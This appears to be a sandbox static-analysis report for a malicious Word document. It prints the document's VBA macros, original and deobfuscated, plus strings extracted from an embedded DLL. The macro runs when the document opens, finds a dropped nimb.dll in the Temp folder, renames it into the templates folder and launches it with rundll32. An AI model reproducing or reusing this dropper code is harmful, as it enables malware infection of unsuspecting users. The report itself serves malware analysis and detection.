popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
        Dim bbbb As String
Private Sub Document_Open()
Dim vcbc As String

Dim cx
cx = wdUserTemplatesPath
bbbb = "r"
vcbc = Options.DefaultFilePath(cx)
bbbb = bbbb & "u" & "n"
Call xz
If Dir(vcbc & "\niberius.dll") = "" Then
Call yyy

If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l3" & "2"


  gc 0, vbNullString, _
    bbbb & cvzz, vcbc & "\niberius.d" & "ll,UBISYAYMQSE", _
     vbNullString, 1
End If
End If
End Sub

Sub xz()
bbbb = bbbb & "dl"
End Sub



Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
        Dim bbbb As String
Private Sub Document_Open()
Dim vcbc As String

Dim cx
cx = wdUserTemplatesPath
bbbb = "r"
vcbc = Options.DefaultFilePath(cx)
bbbb = bbbb & "un"
Call xz
If Dir(vcbc & "\niberius.dll") = "" Then
Call yyy

If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l32"


  gc 0, vbNullString, _
    bbbb & cvzz, vcbc & "\niberius.dll,UBISYAYMQSE", _
     vbNullString, 1
End If
End If
End Sub

Sub xz()
bbbb = bbbb & "dl"
End Sub



Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd
End Sub

Original

                                        Attribute VB_Name = "Module1"
Dim pls As String


Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub




Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\" & "niberius" & ".dll"
Name pafs As pls & oxl
End Sub


Sub uoia(fffs As String)
pls = fffs
End Sub
 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "nimb.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"
Dim pls As String


Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub




Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\niberius.dll"
Name pafs As pls & oxl
End Sub


Sub uoia(fffs As String)
pls = fffs
End Sub
 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "nimb.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub

Original

                                        Attribute VB_Name = "Module2"

Deobfuscated

                                        Attribute VB_Name = "Module2"

Original

                                        Attribute VB_Name = "Module3"
Dim dfbvc As String
Sub bvxfcsd()

Call asda

Dim ewrwsdf As String
ewrwsdf = "L" & "o" & "c" & dfbvc & "mp"



    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)
End Sub


Sub asda()

dfbvc = "al" & "\Te"
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"
Dim dfbvc As String
Sub bvxfcsd()

Call asda

Dim ewrwsdf As String
ewrwsdf = "Loc" & dfbvc & "mp"



    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)
End Sub


Sub asda()

dfbvc = "al\Te"
End Sub
p%-`_r
EMBED Package
IDATx^
Ar51"(
o01`ZZ!
j>t`lu
D+qlY*
|ttT=N
^`O<@\\
1sGN4_
Swfcuh
{6n.lM
2_1>=.s
3GY(Kx
}ay==_
wFB_/-
z4I9<NO
|}}M|v
n+_\3?
f>A9-~
x,:0UO
Byi6wl
69G`Gr
[T}Yms
Y>2G}R
+^{=YL}]
uHmv0c
PO%l1S
o{%d76
IaT'fG[
=*q}iq
tX(aJ~
h^GUw;S\
h(ugJa
L[Yl|X
sM<[J^
NNlm0s
%#*%u
H5{Yk?Ay
<~sb}
P-Q6wc
u7u-Z3
K|#R!/
shSE=L
5wowZ'
u}Vu05R7z
:/_6Wx
:O)/Bi
-P^'V
e*}[v]
av-nt/
0>D4ou3
9TVT,;z
fK~F~]
#Sq(?P
GOw{6
Ym$H;t
y&m7#T
}(SW@
do_i7C-
#+kWe
f[kvx"
kP4nf=
_~8"N>
Ry)-DR
FxZW2*
/wq!`+
UlL(&b
bc"&fF
. 2,K?/~
7z$O'~
Ks9)3B
uhrCPk
'eJy8^
zrSDeP
^ka+qI
!?c?=m
IOmnZSmW;
kKDF^7
9$H"=v
QfQ~P
f_zTHnm
|)Pf /
W!^n>f]9
W.F~6(^
:ECx}B
+N`*_o
${u<q{r
%lFy[:
IV_{io
IY$v\&*Y
]dC'aq
3nwM1i
9rzUnl
!q +@T
u#e]t@
0^i:o)
v(wQPQF
?4aR42
H_!>,g
c,ye">
V>W0N
+BDsZ?E
S[F?P^J
^&r=|b
5Ks_YE
<dHseP'
8D~6k~
dCQHa
)b/AnO#
(iR=P,r
;LA<*]
;WOnz}z;]
vg,syb
7emM@n
n_cbLz
*VG7yE
A~~H0n
+nx'MG
$GD5S
+tY[Fc[
;v%$tI
:Tyr7;
^fQ~^
4IJ>l
o5kvUtz
W._v%e
:'mO<>!
5ZU?il_
ES|#bl
jl6%]zW
}}]u;ogP~
!Ky8d|
C&J=O[
L:LMM>N
'k`,o0
Sx[r;?o
is(!5n
0%PP9
A{O}A{eNh
UmbdW4
I@:6|t
)p0=zf~
xj^Eqa
-dM@Cw
jKgmcK+e
cY6!#C<W
@x|q&w
wZXZV]
cbsFX:
inO<?h
#ZV5n,
6glP0|
P6BjK~
MkVdD'_
U=PlKb
sj|_s@EfN
lhY|`p
|XZ^v\
~WcB{_aj
dTDGuj
|jfJ"N
W+wP4kC<
M@(|:,
9H#<9L
}(U2JN
Yu,n6#
%>WO9c[
\ISaS>g
NY.c)^=
l?1O=J
F1v2;A
Li:L<I
IDAT0WT
"/|X_
tm{[rF
C:N#F<ql
4A*/*
NFnn9O9
k\SV|S
>-B2;s
-O7]6O
H'<L(+
6Q@1ut
[o9_hg
G`L<\/J<
M?<=PY
k@L{<-1
tyx|\'N
R6n&P 
?B6i'xH
YZYliF
S~?s,
W{Y@re
N~RP~@
.I'WN~
7*SAic
>@ea!?
5By<kFW
f3)<)7
Ev:QH?!
28*Jq's
P8p"+]
PcsK\l
x)+N QO
U?5I8rGX
:A_(`0
a~BJm6P9
>`dSoL
$YciB
tr&E![
c9'v0Z
|'eslz
SG%W/c
A(2cHq
n\sdqL
'J#G[rV
UN[y\S
LF3a.{}
m=ZVv1
vt^zB]
+XH9rm
7g~{o`
cKg3z
\[XW{A
b3x7?X
X0.?2;a
{g}~h2
'kOk+:
c\~dvf8
tIG%;^_y
r"&g"
838>8%
Hd^]W{
]W^|!x
x}j6,o
Y82?17
N:ibC,>
gBo?#8
z.'bt<
FW_j_6
mIsD)O
5y6J@~
zSO>Z@|'
Z=ryp<
nTV?8L
zpq0p>
*@;s${
ymn{9t
b61)ElM
+>R'nz
%w+697o
``X6O6
v+'Z0a[P;qy"
piOWC:e
XcOB~x&
QVY~16:P
rXINQ
'-_ZP^
pBJl#isz
k/kgPk
>@]GIK
/]Qgr#
nw[Ao/
_'V"6t
s_2Gqp
}g:xL~
`>T^!0
!=z`>bvU:
od'OA
n-lf5l
eex:T=
7^,,|p
en$c<W=
5n$W_z9
m3bab
YQv*6k
sXIyZr!
Q=1Zn\
/6$_}|
6+d@K(
rl J6e~
*]ecP&?C\
4;/G ^
s.5gZOh
]Mv~Qr
:VWWWW
:xhs\;{$
:(G>m)>
:r82on
d*#*eK9hA
e9Z("3
4:*3jJ#
@_$t|
_O;9_h
V8|]sdE
9z*SyUv
4|q%+z:
'B&D;g
R7G~}+
'eq&X~
9F(|bW
0LzusG
fB^>t
(FwL-[Nv
}D.#
0b1|Q`
qzPaKq
f58>w"e!
ED8!o2&
7xvs(A
2O[R6e[
R>Rb^H
Yx?z<
$JL~.<
/(:T<_]
n|n7z
JOVwf{
Go[2x-
sm[\Sh)
ow,"-&
QeT$^1~
5HbnN
qYcXjg
`=X;~ex
#+^]UV
(Rp1iXt
Z8g9C}E/
Jr@-Q<
}(='-e
j!0 !$
Kw<dH.
X5pMX;
EJxN@&
Yr1Bh'
KEvPR-
"9)x'!|;
]-.b\j#9
EG%~C;
gtH}B|
>wM!pv
EO}]mI
h^mw/NX
gd+wvk
1*"<x=|V
1<(O5~
&(^7>K
r9`|vr
mpf|d,
<%o\[Dvcr
;xgfj{;
9@a1)zm
?Lre$d
r`LOn2~5X
@c=7$
=h;lKk
O6Cgo}
#m{X%-
ChQXOU
$q{WC2
}7yLl|T
.[E7S?
c7ZT'=
7\W)[
<p8]O6k
65nxm^
=kGQp$>*
:B:Zh9
1({z$hO
Id:x t
u/'A|T
r5ns}.
?7rdBt@N
r9fjC
vPp]6]
F\(;Q2
[9f:<`L
@_y2+2
&Tb,<}
*.~5Y1
1y sMR
$~Aaj&
Wscs^'
wV7\~S*
};I7oW
o3V%w
5N$M(k
a{sk8v
=u*,T
LVpVTP]W
9Sd8^=
_ZZ~Iq
OI}W*O/
&4u_(~
.#.?e.=
~f|}Q:
0x49R'id
,6azLy
a\q2v@
%Qehq\$
T-IKO/
mLiekst
rU>;d[
fw[}X(
J7yB.Cn
K.2psS4
+<tBA;
!*7e9
zeX;rh8
}Oj]:t
amR]k
JGeCn*[\
E~ViP)
bQW'G|
F^:{6y
*'i:S8
B\v1X
J;/20
>\KS.?
ovA_^
xZ@ZXZd+_}G
>':ckdWjg
JNC,g`0
j`R9`R
{+|EA}
6J[6q>,
HkW\zy,:c
:kl"K|
U>9G(oR
=t91=3'
c;`Q,T<
1+V.ok
<Qz6N:viq,
[d"M:>
KcMyB\
bk2GG9
vkQn?3
NZeU<Pf
px]Pm%
HG~@Z;
W2U^/;
FO>qkO81
K/kW^vy
C_:vou
N{h1TP|
D:uQgv
G,Zt_[
K|Y)&0
e/sgE<
i:*G~6
OoW]{M.`-
9_|7V3
jW]qe{
1vO7tA
~mc@+M
3wLq Y
kW^~E
E9xtoP
GyU.;|
o!f1`lqmg
q^~85
^/%srT'4
kE~1}A
Kcr{Q;
B|fzej
N<9tlM
z]U;r~
l0|6L[r
(=1gbK
@!=c8a
G6&rv^
]|,P<T
fy0\ w
zM?sVy
+y6d(;
:.-63J
%guWq
tYc0|>
Py;wlkS&11
TeZ.C8TV30)
rU/c~9
(d(J)-
s|)O>sq
f=#=yy^i
PyvYyES9H
:hNVc @
2&5ap_
@*Nt.y
fb8D0~?
0~xmQQ
.lW_{M.4
3gqo^8
dMlNe}k
'>qzn.
'nl+cpSWg
dTmCvt
0yfwggvg
)`Vu~)d
w;;|o
C^6u?~
x$2G'>p
#xFWF
O=U?xP
,XL2LF,B
3t3t$tA
|NTQ.y
rQ?S{{?+
PA8eM[
maZWI
@<<-[W
at)+~`
C:VAJoU
Ii@z-@K
DPEC|a
`FI0e
C:@y\Sw
g_NxJ[
U\yoK
m#=77k:
L7>nz,
&"V+~19r
N?C*3A
x*u#mZo
+ iDGv
,OP8 m
3'@NMN
yS9Qn
wph0*<
".M#C[
y:i&<V
7r>to3
~ M{oU]
-}Lccg
4UyR4D7
UE#E:oU
|leNksJ
#nB@YV
ck0s%<
*FOHeU
MuC~pP7jW#
;9i}t:NV
{OkNuU^
4*gtt,
uH7XUeH^
1^AD}X
#^NalzH
=xG^8x
PS(LQ
O./hTA
Se(y`q
~vi\8u
>%:@FPN6F
)|Qn=b
Sanf:,Yx|q:
JKY@e@
$]S6tHC]
s(G(F\
=.)C4R?
<z2qj*
M/`CKZ
VR_8~r"
_0pR7x
mb_d!4
?P.2'-
Y`(d/H
nD<WP
q:ndp$,
M5|p-]
#}4x,
LxdL O
~H8:"k
!G9&7qF
od@{0>0
Q`TBW`
S{o&in
.f!NAm
+mDWxT
_M5)RVlW
r7vZ4]
Niq)S<
9s./dl
aK^BypM:~
U"#M,1
VVh7kU
K;UgF/mD
q%]K6
1O]|v
x'<R?T
OW]{m
Uzk
_7dng
|me7wa
G:td1]
4K1kVp
7Rul-9?w
Mo|C:y
n?}*]u
>~%e1H
o3:q
_e|nB[
A]XD[|
]JL1Yv
^?RbXgM
[F9?Uk
Q^Bm^dm
ueFjCLS
\JlE/w
E:P|D]X
I?]GM1c
r;gL y!
tgj#]\
`LOOe#!<f
MP=M4(o
=z4-wVm
D6[+6_
&?x#?9U
`I`PXD]XW
tAS\L#
oNW^ye
"*u(Bu
1\,,.z
C[h'a\g
7:AJzd@Z
H'u5_4
IgL>28
w6hR}(Y
|qM8y9a
h+m&/}
JP?8Ye
h._2S]
fcL{-cw
xNcq2L
Q?yHG;
YG.&,7
#S''1e
K:xe,P6m
F7h#FA
hNZ*NsO
&Y\<aLT
2yrm\;
+cvv&]
S+Nl).
lBpIY{2a
%O_]ot
sR6nc]
:!hds
Hy ]_m
M(qlH91'
IK}RG\
.-Yovb
;M?+4fb
2hON_a
Z00!A~
,EF;C.M$
>l|G&W
kx0(P^
.FjNYb
!Mdi"X_K
r^KPYA,+
Zt(>wmie
:U["O
NztA&yP
8|STc3
}P}A\C
A\~@`,
Yu,!/kI
0CuBY#)|
4Bl[j=K
q]kyuP^
vN4=jY
i.`>MO5l
4`,]VG
#n7P*
Erk>AF<
1W-,-V
0`?P6*
7-uaR\
f"}9%]
6LF# {
"hk:CvJ+G
TD3]gl
s$2??V
L<?rM"
!o/&'#
@|dQwa~%.
xJiJa
5]O*>)
.V+W.W#
0%sO>~<
rv;#a<2
n n\Ec
K_G^gN
F]&?GW~
rn5zFL
>XBGWo
%pSFNz!pn
h}2NZ1N
KUxJ1b
B.[qrA
q n*b|
"b8'dN
%cz]wQr
kz'ats
)*Vm0+b
Ms}cfC
~](WB9=
)mtZ 3B
@FuaR
yk1Nxl3
,LB_^l
< .Db>
@du-wq>
%SD}Nk
#a<}n8!mLO
bz4R6x
`R]E>!
KnHT#j
mPc<F?@
[X$A~x"
O`k\jo
ov<?\
r*Eu%W
1("]nXP
32"E(>"
<0pwU
xxn2C!
~R0'ac
2kw[bZ
y\g;^Cg.z
QO|ehg
M/?=A`
6O6H.
MhvG_CH|
nT|BgX
\.lv-Wm
B|L`}
7:26hK
,hi+(,
!e`\sj-
kE?5-;!^:
;a>1H?
29lO`[
6?5LoN
4.Jq776
{1CG<u
[~ps!
7o>ZS
_g\0E_
3ufK<s
r!~:Z8
r!~:Z8t
$"nBG>
`o/`_r
p%-`_r
`o/`_r
p%-`_r
p%-`_r
OLE Package
Package
Mr.Administrator
Normal.dotm
nimb.dll
C:\Users\MyPc\Desktop\Builder_v667\nimb.dll
C:\Users\MyPc\AppData\Local\Temp\nimb.dll
!This program cannot be run in DOS mode.
`.rdata
@.data
@.reloc
A\_^][
B\*?-<
EXs_w9
GBdNDK
L}XMMB
@7 )*&"
w!FMC&.
lql_uwTg|
lQn1Lg
HH;ptH
HeH$PC\
JHtH$L
_GRA#.l
W8L]0T
43KnR\L
((HHHHt+
HHtH.H
%7I`-
6k#.7Ti]
=tN@ 9
}F3K=q
AVF'VI
tHkHC$
D MM80
'LHwE0H
t$H]HH
kV%o E
@Ht;HE
"i_ejV
$'&E! #"-,/
.E)(+*
5476E103
2=<?uEtwvqpsr}Y|njf
Fpkuem
A-41Y5
*7"Jmu
7]) '-
z*$1X,'
3_&-*]\`.
dUl9xn
DeHa?G
AMe60(
L+HH8HHH
C0[ P8hLHHH
ICHLH^
8(HtL8"
f$eHML\
ofXf|F
1Euc`Y
E/"8suQ
`MIHDWH
t0jHMHH
KLW$m
LHD @
@HH\O$
xHMH"[XM
.3@MX%X
hbHH$ *L
IM`tu
HMH3_H
sHLH}H
H3f`=$
HW.8H8
(\' Ht%LD
HH[IHHV
$]HXDH
7hoh^3!
;^\ $I
AHHHIHH
MV$M'$
'tpXHD
fH3HH;HEH
DmHDHHL@
HtHH J
HHM$HX
HtTCHH
$0IH$p^
LHHHDLDHHH
;H$L8w
IHOH$U
E0sh1
LE@LA1HEt
$KKO_]
:E|QLP0H%
HLHU@\tI
H`F+H$
$7fK0H
HH(S-S\H
IH@tH
DAPn%t
3HLHw\
HH;EUHHHU
HtLGM$
HM$t$x
HI8;EH
EHHd P
H$DHHH
tG9uCj
PPPPPPPP
QQSVWd
HtHu4j
PP9E u
jA[jZZ+
~pjCXf
tyPVj@W
_tcPVj@
u#j,Xf;
>Cu/f9F
RVSQSWV
,SVWj0X
Wj0XPV
j@j _W
SVWjA_jZ+
uBjAYjZ+
t WW9}
URPQQh
<0|m<9
G Pj*S
G$Pj+S
G(Pj,S
G,Pj-S
G0Pj.S
G4Pj/S
G8PjDS
G<PjES
G@PjFS
GDPjGS
GHPjHS
GLPjIS
GPPjJS
GTPjKS
GXPjLS
G\PjMS
G`PjNS
GdPjOS
GhPj8S
GlPj9S
GpPj:S
GtPj;S
GxPj<S
G|Pj=S
Yu2Vj@h
WHPh`$
HHtVHHt
;t$,v-
UQPXY]Y[
PWWWWV
PSSSSV
~';_t|%3
Ht+Ht$Ht
HtHHt
SVjA[jZ^+
jAZjZ^
+tHHt
+t"HHt
HAO8t
uHjAXf;
suit c
</summary>
<param name="principal">
</param>
<exception cref="T:System.ArgumentNullException">
<paramref name="principal" />
<see langword="null" />.
</exception>
<exception cref="T:System.Security.Policy.PolicyException">
</exception>
<exception cref="T:System.AppDomainUnloadedException">
</exception>
</member>
<member name="M:System.AppDomain.System#_AppDomain#GetIDsOfNames(System.Guid@,System.IntPtr,System.UInt32,System.UInt32,System.IntPtr)">
<summary>
E\jL?K^
uE0}Gb
>,e t I
m.ei
coisei
eel
lrnf
= )ap
>uI<"
gMOS s
rm A.
yoeS>
rnt>mn
< n> e
m/ipe
f y> .:
dls
:nR.l.B
La<n
n >A>
s,my c na
n, "/
t <et
e"N s
smipc e
pyyr
me tpcm
or >um
= m
"l>raj
g ttaaem
<r.n o<
m aCe
><ln r
yc o
r "am"P
ed "
ctM:mpCsS
n ine
ey> u .
a rm
T/ b.e
Mrty
y ltm"
tD>mll
srer
::tnR
.n s G
+}-zE[
FFrqlG
AXEmPY'
Zk"E;4
L2p~1I
ToN[eU
n cD
Semr
y fEe
> e ep
aA gu
=L()e3
Dz{HOy
4eby1?
z&z(z<
3(=7?99
7X1j3|=
et oxm
eme/>f
ee ayl
.
> n t m
r<c "
tm
p taa
oli ce>
l a"
,t r<
" enmu
-e
>e "b
e Cg
iayp"
"r3eeu
Fy .
"t y ,
Deya e
m m/a
e" e g.
on i
p< >> s
yr<ae A
e/. e
/ /ftbt
atyeN
e e ey
l e
a Sn ny
i n V ><
.s"as i cy ms
m esy
trmnH<"
u r
tTe
vcrttp
nicaM"<
T re,,
t 1T> m
u an /
i/u <m<
>t<<T.
"eyS
ky n m
e .anm
cr e is
s re
mIoe m>
e m
= p eap
r. .se
< l r"
. r .
rFe e<
me n
T s>=etb
tr t gy e
em s /
te e R,
epse /lcpu
s et
m tn<
e a e
y t om
y i
aean/
t .a t
,s<S
cs"eei
t p rn
ra >Se
ynfe.e
t eoa>
brG "
<<r,f
pC le"
u p S/A
=a r
re edo
y ow
u .M
Ce >>s
( c
it.ot
e o ayp
V d"r
r b<d nt "
r s/e,
m=K
.< y
l nt.c"
d <
Ad/V m2
tm ee.nm[
ce"n.mn
<a=re > d r
y- o
otn
eeonm/
Ons"p ga
tmr Ti
ts mmr
A/a< G
s /tyyaeee
aOS" i
tu>meep/
a <i
p e e<
<l " a>
l /tP
<a,D r
.ars ytpec(
xa ss
a eter
tnoo"/eP f
saasm T
b s"
S> .mm
=Nn s
i cs
n"vt.n
</param>
<returns>
<see langword="null" />
</returns>
<exception cref="T:System.ArgumentNullException">
<paramref name="subkey " />
<see langword="null" />.
</exception>
<exception cref="T:System.ObjectDisposedException">
<see cref="T:Microsoft.Win32.RegistryKey" />
</exception>
<exception cref="T:System.UnauthorizedAc
</param>
<param name="item4">
</param>
<param name="item5">
</param>
<param name="item6">
</param>
<param name="item7">
</param>
<param name="item8">
lQ~4oP{
P?cuPH
IEEEEE%
!EEE6Yt
iEEExE8EE6O
GhEuEED
G}AK0M
9IMD1K
A!~HAEEE1H
AEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
1BhEUEE
/A-EUEE
f" >
e".p
rya <
x>: r
e ..
tfcl>s
ecnT m
bad locale name
generic
unknown error
iostream
iostream stream error
system
ios_base::badbit set
ios_base::failbit set
ios_base::eofbit set
string too long
invalid string position
bad cast
bad allocation
permission denied
file exists
no such device
filename too long
device or resource busy
io error
directory not empty
invalid argument
no space on device
no such file or directory
function not supported
no lock available
not enough memory
resource unavailable try again
cross device link
operation canceled
too many files open
permission_denied
address_in_use
address_not_available
address_family_not_supported
connection_already_in_progress
bad_file_descriptor
connection_aborted
connection_refused
connection_reset
destination_address_required
bad_address
host_unreachable
operation_in_progress
interrupted
invalid_argument
already_connected
too_many_files_open
message_size
filename_too_long
network_down
network_reset
network_unreachable
no_buffer_space
no_protocol_option
not_connected
not_a_socket
operation_not_supported
protocol_not_supported
wrong_protocol_type
timed_out
operation_would_block
address family not supported
address in use
address not available
already connected
argument list too long
argument out of domain
bad address
bad file descriptor
bad message
broken pipe
connection aborted
connection already in progress
connection refused
connection reset
destination address required
executable format error
file too large
host unreachable
identifier removed
illegal byte sequence
inappropriate io control operation
invalid seek
is a directory
message size
network down
network reset
network unreachable
no buffer space
no child process
no link
no message available
no message
no protocol option
no stream resources
no such device or address
no such process
not a directory
not a socket
not a stream
not connected
not supported
operation in progress
operation not permitted
operation not supported
operation would block
owner dead
protocol error
protocol not supported
read only file system
resource deadlock would occur
result out of range
state not recoverable
stream timeout
text file busy
timed out
too many files open in system
too many links
too many symbolic link levels
value too large
wrong protocol type
0123456789abcdefghijklmnopqrstuvwxyz
0123456789abcdefghijklmnopqrstuvwxyz
0123456789abcdefABCDEF
Visual C++ CRT: Not enough memory to complete call to strerror.
Unknown exception
bad exception
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
CreateEventExW
CreateSemaphoreExW
SetThreadStackGuarantee
CreateThreadpoolTimer
SetThreadpoolTimer
WaitForThreadpoolTimerCallbacks
CloseThreadpoolTimer
CreateThreadpoolWait
SetThreadpoolWait
CloseThreadpoolWait
FlushProcessWriteBuffers
FreeLibraryWhenCallbackReturns
GetCurrentProcessorNumber
GetLogicalProcessorInformation
CreateSymbolicLinkW
SetDefaultDllDirectories
EnumSystemLocalesEx
CompareStringEx
GetDateFormatEx
GetLocaleInfoEx
GetTimeFormatEx
GetUserDefaultLocaleName
IsValidLocaleName
LCMapStringEx
GetCurrentPackageId
GetTickCount64
GetFileInformationByHandleExW
SetFileInformationByHandleW
CorExitProcess
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
No error
Operation not permitted
No such file or directory
No such process
Interrupted function call
Input/output error
No such device or address
Arg list too long
Exec format error
Bad file descriptor
No child processes
Resource temporarily unavailable
Not enough space
Permission denied
Bad address
Unknown error
Resource device
File exists
Improper link
No such device
Not a directory
Is a directory
Invalid argument
Too many open files in system
Too many open files
Inappropriate I/O control operation
File too large
No space left on device
Invalid seek
Read-only file system
Too many links
Broken pipe
Domain error
Result too large
Resource deadlock avoided
Filename too long
No locks available
Function not implemented
Directory not empty
Illegal byte sequence
_hypot
_nextafter
(null)
`h````
xpxxxx
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
MessageBoxW
GetActiveWindow
GetLastActivePopup
GetUserObjectInformationW
GetProcessWindowStation
`h`hhh
xppwpp
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__ptr64
__restrict
__unaligned
restrict(
delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
new[]
delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
Type Descriptor'
Base Class Descriptor at (
Base Class Array'
Class Hierarchy Descriptor'
Complete Object Locator'
1#SNAN
1#QNAN
c:\vowel-Mother\799\bit\came A\Noon.pdb
Noon.dll
Closewhether
Meantduck
Ropemay
VirtualProtectEx
GetCurrentThreadId
GetModuleFileNameA
GetModuleHandleA
CreateProcessA
GetEnvironmentVariableA
GetSystemDirectoryA
GetTempPathA
GetWindowsDirectoryA
RemoveDirectoryA
SetFileAttributesA
SetConsoleCP
SetConsoleOutputCP
KERNEL32.dll
CreateDialogIndirectParamA
DialogBoxIndirectParamW
CreatePopupMenu
GetForegroundWindow
GetClientRect
GetWindowRect
GetSysColorBrush
GetDesktopWindow
USER32.dll
OleInitialize
OleUninitialize
ole32.dll
WideCharToMultiByte
EnterCriticalSection
LeaveCriticalSection
DeleteCriticalSection
EncodePointer
DecodePointer
MultiByteToWideChar
GetStringTypeW
GetLastError
HeapFree
HeapAlloc
RaiseException
RtlUnwind
GetCommandLineA
GetCPInfo
UnhandledExceptionFilter
SetUnhandledExceptionFilter
SetLastError
InitializeCriticalSectionAndSpinCount
GetCurrentProcess
TerminateProcess
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
GetStartupInfoW
GetModuleHandleW
GetProcAddress
IsProcessorFeaturePresent
LCMapStringW
GetLocaleInfoW
IsValidLocale
GetUserDefaultLCID
EnumSystemLocalesW
ExitProcess
GetModuleHandleExW
HeapSize
GetProcessHeap
GetStdHandle
WriteFile
GetModuleFileNameW
IsValidCodePage
GetACP
GetOEMCP
IsDebuggerPresent
GetFileType
QueryPerformanceCounter
GetCurrentProcessId
GetSystemTimeAsFileTime
GetEnvironmentStringsW
FreeEnvironmentStringsW
HeapReAlloc
